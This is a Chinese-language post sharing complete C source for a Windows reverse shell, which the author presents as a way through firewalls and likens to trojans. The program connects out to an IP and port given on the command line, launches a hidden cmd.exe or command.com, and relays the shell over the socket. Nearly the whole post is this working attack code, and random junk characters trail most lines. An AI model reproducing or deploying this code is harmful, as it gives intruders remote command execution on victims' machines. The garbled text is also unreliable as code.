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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r~I.F!{  
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/* ============================== $,!hD\a  
Rebound port in Windows NT "pYe-_"@  
By wind,2006/7 ,bxz]S1W  
===============================*/ VcP:}a< B\  
#include 7Ez}k}aR<  
#include GM:, CJ?  
4>l0V<  
#pragma comment(lib,"wsock32.lib") &/HoSj>HS  
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void OutputShell(); )#C_mB$-#  
SOCKET sClient; S45'j(S=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OthG7+eF  
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void main(int argc,char **argv) -H4PRCDH  
{ JW-|<CJ  
WSADATA stWsaData; X!o@f$  
int nRet; bH_I7G&m  
SOCKADDR_IN stSaiClient,stSaiServer; fTTm$,f5N  
FWIih5 3`  
if(argc != 3) "X`Qe!zk4  
{ vnDmFqelz  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4yhcK&  
return; q Z#!CPHS  
} :sFo  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [ ynuj3G V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sq<3Rw  
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stSaiClient.sin_family = AF_INET; So?m?,!W  
stSaiClient.sin_port = htons(0); "8FSA`>=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y`({ .L  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -E:(w<];  
{ <H!O:Mf_p  
printf("Bind Socket Failed!\n"); ~bWhth2*  
return; JXL'\De ;  
} )t 5;d  
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stSaiServer.sin_family = AF_INET; TFYw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KLW&bJ$|j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S3QaYq"v  
1}`2\3,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y!F!@`%G  
{ 'bl%Y).9w  
printf("Connect Error!"); lz- iCZ  
return; <M=';h^w2  
} GZ <nXU>  
OutputShell(); W|0My0y  
} sSNCosb  
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void OutputShell() b##1hm~+9  
{ @bE~@4mOu  
char szBuff[1024]; zqY)dk  
SECURITY_ATTRIBUTES stSecurityAttributes; ]uAS+shQ&  
OSVERSIONINFO stOsversionInfo; '\ XsTs#L  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @FU~1u3d  
STARTUPINFO stStartupInfo; CPVmF$A-  
char *szShell; |J\,F.{'  
PROCESS_INFORMATION stProcessInformation; /;7ID41  
unsigned long lBytesRead; h>| g2h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n?}5!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?/)lnj)e{  
stSecurityAttributes.lpSecurityDescriptor = 0; u|T%Xy=LU  
stSecurityAttributes.bInheritHandle = TRUE; ~+=E"9Oo  
UUGe"]V^g:  
!M,h79NM  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qZ&a76t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0_Lm#fE U  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !8o\.uyi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MJA~jjy4  
stStartupInfo.wShowWindow = SW_HIDE; ">cqt>2 A  
stStartupInfo.hStdInput = hReadPipe; V\"1wV~E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8nodV 9  
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GetVersionEx(&stOsversionInfo); svqvG7  
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switch(stOsversionInfo.dwPlatformId) k},>^qE  
{ y)tYSTJK  
case 1: I.-v?1>,  
szShell = "command.com"; UTvs |[  
break; !D7"=G}HD  
default: BD4`eiu"  
szShell = "cmd.exe"; #%4=)M>^  
break; Hk~k@Wft  
} + LS3T^  
_=?2 3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z|Ap\[GS  
EQ/^&  
send(sClient,szMsg,77,0); V8tghw  
while(1) so*/OBte  
{ viJJ e'\2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K I`11lJW~  
if(lBytesRead) 16?C@` S>  
{ RT/qcS^Oz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Hg aZbb>'  
send(sClient,szBuff,lBytesRead,0); ^j[Ku  
} X5 j=C]  
else ifvU"l  
{ P2t_T'R}  
lBytesRead=recv(sClient,szBuff,1024,0); E0<)oQ0Xa>  
if(lBytesRead<=0) break; "ee'2O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zA,/@/'(  
} S*xhX1yUi  
} X>{p}vtvf>  
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return; dl_{iMhF&E  
}
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